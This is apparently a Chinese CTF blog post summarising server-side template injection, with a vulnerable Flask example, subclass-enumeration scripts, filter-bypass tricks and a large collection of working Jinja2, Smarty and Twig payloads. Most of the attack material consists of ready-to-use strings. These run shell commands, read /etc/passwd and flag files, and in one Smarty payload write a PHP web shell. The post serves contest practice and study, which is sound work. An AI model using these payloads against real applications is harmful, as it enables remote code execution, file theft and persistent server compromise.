文章目录

  • 基础知识
  • 解题步骤
  • 绕过过滤
    • 0x01 调用键值(过滤[])
    • 0x02 过滤os
    • 0x03 过滤点
    • 0x04 过滤[''] ('') {}
  • CTFSHOW web361-web372
  • 一些payload:
    • python2:
    • python3:
    • smarty模板引擎:
    • twig模板引擎:
    • Jinjia2模板引擎通用的RCE Payload:
    • 比赛及刷题payload
  • 参考

基础知识

对象的魔术方法:

__bases__        #以元组返回一个类直接所继承的类
__mro__         #以元组返回继承关系链
__init__        #类的初始化方法
__class__       #返回对象所属的类
__globals__     #以dict返回函数所在模块命名空间中的所有变量
__subclasses__()    #以列表返回类的子类
_builtin_       #内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。

使用_builtin_输出内置变量,函数

识别不同模板

twig与jinja的区别

Twig
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777

模板渲染方法

flask的渲染方法有render_template和render_template_string两种。

  • render_template()是用来渲染一个指定的文件的。例如:return render_template('index.html')
  • render_template_string()则是用来渲染一个字符串的。SSTI与这个方法密不可分。

render_template函数渲染的是templates中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户的需求传入动态变量。

├── app.py
├── static
│   └── style.css
└── templates  └── index.html

存在漏洞的代码

main.py

from flask import Flask, request, render_template_string
app = Flask(__name__)@app.route('/')
def test():code = request.args.get('id')html = '''<h3>%s</h3>'''%(code)return render_template_string(html)if __name__ =="__main__":app.run()

运行

py -3 main.py

存在ssti

解题步骤

一,获取基类

{{[].__class__}}

页面回显 <type ‘list’>

''.__class__.__mro__[2]
().__class__.__base__
[].__class__.__bases__[0]       //其他的类似

页面回显 <type ‘object’>

二,获取所有继承自object的类

''.__class__.__mro__[2].__subclasses__()

这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。


三,寻找可利用类

Python 的版本不同,可利用类的位置也是不同的。所以每一回都要找可利用类的位置。可以用脚本遍历:

寻找popen:

import requests
import time
import htmlfor i in range(1, 500):url = "http://51d49043-d919-40c5-a17a-ae90387c6a3e.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"req = requests.get(url)time.sleep(0.1)# 这里是找subprocess.Popenif "subprocess.Popen" in html.escape(req.text):print(i)print(html.unescape(req.text))break

结果:
位置是在258,接下来就可以直接调用了:

寻找os:

#!/usr/bin/env python
# encoding: utf-8num = 0
for item in ''.__class__.__mro__[2].__subclasses__():try:if 'os' in item.__init__.__globals__:print num,itemnum+=1except:print '-'num+=1

结果:

四,利用方法

找到位置之后直接调用执行命令即可

1,<type ‘file’>

file位置一般为40,直接调用

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

2,<class ‘site._Printer’>

直接用os的popen执行命令:

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()

如果system被过滤,用os的listdir读取目录+file模块读取文件:

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

3,<class ‘subprocess.Popen’>

位置一般为258

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

4,<class ‘warnings.catch_warnings’>

一般位置为59,可以用它来调用file、os、eval、commands等

调用file

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()      #把 read() 改为 write() 就是写文件

import os

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read()

调用eval

[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()')

调用system方法。(不包含system,可以绕过过滤system的情况)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

利用commands进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

绕过过滤

0x01 调用键值(过滤[])

如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__

使用__getitem__

{{''.__class__.__mro__[2]}}
{{''.__class__.__mro__.__getitem__(2)}}

使用pop(),但是pop会删除里面的键不建议使用

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()}}

使用get()
返回指定键的值,如果值不在字典中返回default值

使用setdefault()
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default

{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

0x02 过滤os

单引号绕过

{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(71).__init__.__globals__.__getitem__('o''s')}}

0x03 过滤点

{{"".__class__}}
{{""['__classs__']}}

0x04 过滤[’’] (’’) {}

构造payload

{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

cookie传参

x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

CTFSHOW web361-web372

web361

/?name={{''.__class__.__mro__[1].__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}

web362

web363

web364

web365

web366

web367

web368

web369

web370

web371

web372

CTFshow——SSTI

一些payload:

python2:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

python3:

''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

smarty模板引擎:

Smarty SSTI

Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

一,漏洞确认(查看smarty的版本号):

{$smarty.version}

二,常规利用方式:(使用{php}{/php}标签来执行被包裹其中的php指令,smarty3弃用)

{php}{/php}

执行php指令,php7无法使用

<script language="php">phpinfo();</script>

三,静态方法

public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }

payload1:(if标签执行PHP命令)

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}

四,其他payload

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

twig模板引擎:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

Jinjia2模板引擎通用的RCE Payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

在添加命令即可。


比赛及刷题payload

记录一些比赛的paylaod来为以后比赛提供一些思路。

2020新春战疫公益CTF-Flaskapp(python3)

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat  this_is_the_fla\g.txt').read()}}

[BJDCTF 2nd]fake google

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

[WesternCTF2018]shrine(python内置函数,url_for和get_flashed_messages)

/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

[GYCTF2020]FlaskApp

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_fl'+'ag.txt').read()}}
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

参考

参考:SSTI/沙盒逃逸详细总结
参考:SSTI模板注入绕过(进阶篇)

模板注入总结(SSTI)相关推荐

  1. CTF_Web:从0学习Flask模板注入(SSTI)

    0x01 前言 最近在刷题的过程中发现服务端模板注入的题目也比较常见,这类注入题目都比较类似,区别就在于不同的框架.不同的过滤规则可能需要的最终payload不一样,本文将以Flask为例学习模板注入 ...

  2. bugku Simple_SSTI_1and 2(SSTI模板注入)

    1.Simple_SSTI_12.Simple_SSTI_2 输入:http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.bas ...

  3. Web Hacking 101 中文版 十六、模板注入

    十六.模板注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工具.换句话说,除了拥 ...

  4. buu(ssti模板注入、ssrf服务器请求伪造)

    目录 目录 [CISCN2019 华东南赛区]Web11 [BJDCTF2020]EasySearch [De1CTF 2019]SSRF Me [CSCCTF 2019 Qual]FlaskLigh ...

  5. 模板注入SSTi笔记

    模板注入SSTi jinja2 Smarty模板 tornado模板 jinja2 命令执行 {% for c in [].__class__.__base__.__subclasses__() %} ...

  6. python模板注入_Python模板注入(SSTI)深入学习

    前言 一直对模板注入似懂非懂的,打算在这篇文章中深入的研究一下模板注入以及在ctf中bypass的办法. Learning 什么是模板&模板注入 小学的时候拿别人的好词好句,套在我们自己的作文 ...

  7. [ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable

    PHP的模板注入 如果是在cookie处执行,最好抓包打payload,可能有url编码的问题 smarty模板注入 控制XFF进行命令执行(这是要在前端有IP相关回显的情况) payload: X- ...

  8. Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti

    一.服务端模板注入漏洞 简述: 服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 ...

  9. SSTI模板注入总结

    文章目录 一.初识SSTI 二.判断SSTI类型 三.常用类 1.__class__ 2.__bases__ 3.__subclasses__() 4.类的知识总结(转载) 5.常见过滤器(转载) 四 ...

最新文章

  1. 破解32位NT6内核系统(vista/win7 8G以上)的内存限制,完美支持4GB至128GB内存,全新教程!
  2. C#委托-委托不关心被封装的类
  3. java位于算——一个测试搞懂位运算
  4. C#使用多态求方形面积周长和圆的面积周长
  5. 分布式配置中心之 —— nacos使用详解
  6. Java并发性和多线程介绍
  7. CentOS 大量的TIME_WAIT解决方法
  8. 来自Comsenz产品团队的声音
  9. 用极限可以求瞬时速度的道理
  10. 利用DataGrid的超级联接传值
  11. java中Error(UnsatisfiedLinkError)与Exception是有差异的
  12. android fastboot驱动,fastboot驱动
  13. React 中实现复制到剪切板功能
  14. Android network框架分析之NetworkManagementService和netd交互深入分析(一)
  15. 纳什均衡(Nash equilibrium)及经典案例
  16. 第一序列任小粟的能力_第一序列:上进青年任小粟得知世界真相后,却加倍强迫六元学习?...
  17. 有时候内卷也可以走捷径,比如几行代码也可以霸榜朋友圈~
  18. 带你深入了解机器人视觉系统工作原理及其应用
  19. 深度学习(一)—— 深度学习概述
  20. 12天背诵楞严咒的技巧_如何背诵楞严咒?背诵楞严咒的诀窍

热门文章

  1. 从零开始创业,知名律师献上这套股权激励秘笈丨72问
  2. android,进入页面textview默认获得焦点问题,如何取消焦点
  3. 如何下载谷歌地球高程为SHP格式的等高线
  4. [iOS]《美式英语发音》version 1.0 完成
  5. linux恢复意外删除的文件
  6. Android屏幕刷新机制—VSync、Choreographer-全面理解
  7. Oracle split函数
  8. 小程序获取token 45009 reach max api daily quota limit hint
  9. csv逗号分隔值文件_如何将逗号分隔值(CSV)文件拆分为SQL Server列
  10. 为什么if语句判断相等(==)时,习惯把常量写前面